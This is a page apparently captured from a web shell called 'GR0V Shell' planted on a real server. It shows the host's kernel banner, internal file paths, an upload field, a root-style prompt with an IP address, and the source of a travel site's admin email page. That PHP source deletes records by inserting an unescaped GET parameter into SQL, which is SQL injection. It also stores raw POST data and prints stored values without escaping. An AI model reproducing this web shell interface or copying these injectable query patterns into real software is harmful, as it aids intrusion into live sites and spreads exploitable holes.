? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.com/public_html_bk/gall/admin/
File Upload :
Current File : /home/admin/domains/happytokorea.com/public_html_bk/gall/admin/mail.php

<? include("header.php");?>
  <div id="top-panel">
            <div id="panel">
                <ul>
                     <li><a href="admin.php" class="report">Change Password</a></li>
                    <li><a href="mail.php" class="report_seo">E-mail contact</a></li>
                     <li><a href="order.php" class="report_seo">List Order</a></li>  
                </ul>
            </div>
      </div> 
<div id="content">
<?
if($_POST[Submit]=="Submit"){
if($_POST[e_name]!="" ){
unset($_POST[Submit]);
$db->insert_array("email",$_POST);
 echo '<script> alert("เรียบร้อย");</script>';
 }else{
 echo '<script> alert("ข้อมูลไม่ครบ");</script>';
 }
}
?>
<?
if(isset($_GET[del])){
	$db->query("delete from email where e_id = '$_GET[del]'");
	echo "<script>window.location.href='mail.php';</script>";
}
?>
  
  <div id="box" >
                	<h3>E-mail contact</h3>
                	<table width="99%">
						<thead>
							<tr>
                            	<th width="40px"><a href="#">ID </a></th>
                                <th><a href="#">Email</a></th>
                                <th width="60px"><a href="#">Action</a></th>
                            </tr>
						</thead>
						<tbody>
  <? $sql = "select * from email   ";
   $res = $db->query($sql);
   $i=1;
   while($line = mysql_fetch_array($res)){ 
   ?>
							<tr>
                            	<td class="a-center"><?=$i?></td>
                            	<td ><?=$line[e_name]?></td>                            
                                <td align="center" class="a-center">
                           <!--<a href="#"><img src="img/icons/user.png" title="Show profile" width="16" height="16" /></a>-->

<a href="mail.php?del=<?=$line[e_id]?>" onclick="if(!confirm('ต้องการลบ ?')){return false;}"><img src="img/icons/user_delete.png" title="Delete user" width="16" height="16" /></a>
								</td>
                            </tr>
                            <? $i++; }?>
							
						</tbody>
					</table>
                    <!--<div id="pager">
                    	Page <a href="#"><img src="img/icons/arrow_left.gif" width="16" height="16" /></a> 
                    	<input size="1" value="1" type="text" name="page" id="page" /> 
                    	<a href="#"><img src="img/icons/arrow_right.gif" width="16" height="16" /></a>of 42
                    pages | View <select name="view">
                    				<option>10</option>
                                    <option>20</option>
                                    <option>50</option>
                                    <option>100</option>
                    			</select> 
                    per page | Total <strong>420</strong> records found
                    </div>-->
                </div>
    
    </div>
    <br />
    <br />

     
     <center>
     <form action="" method="post">
     <table width="50%" border="1">
  <tr>
    <td width="45%"><div align="right">Email :<br />
    </div></td>
    <td width="55%"><label>
      <input name="e_name" type="text" id="e_name" size="50" />
    </label></td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td><label>
      <input type="submit" name="Submit" id="Submit" value="Submit" />
    </label></td>
  </tr>
</table>
</form>
</center>
    
 

<? include("footer.php");?>

T1KUS90T
  root-grov@210.1.60.28:~$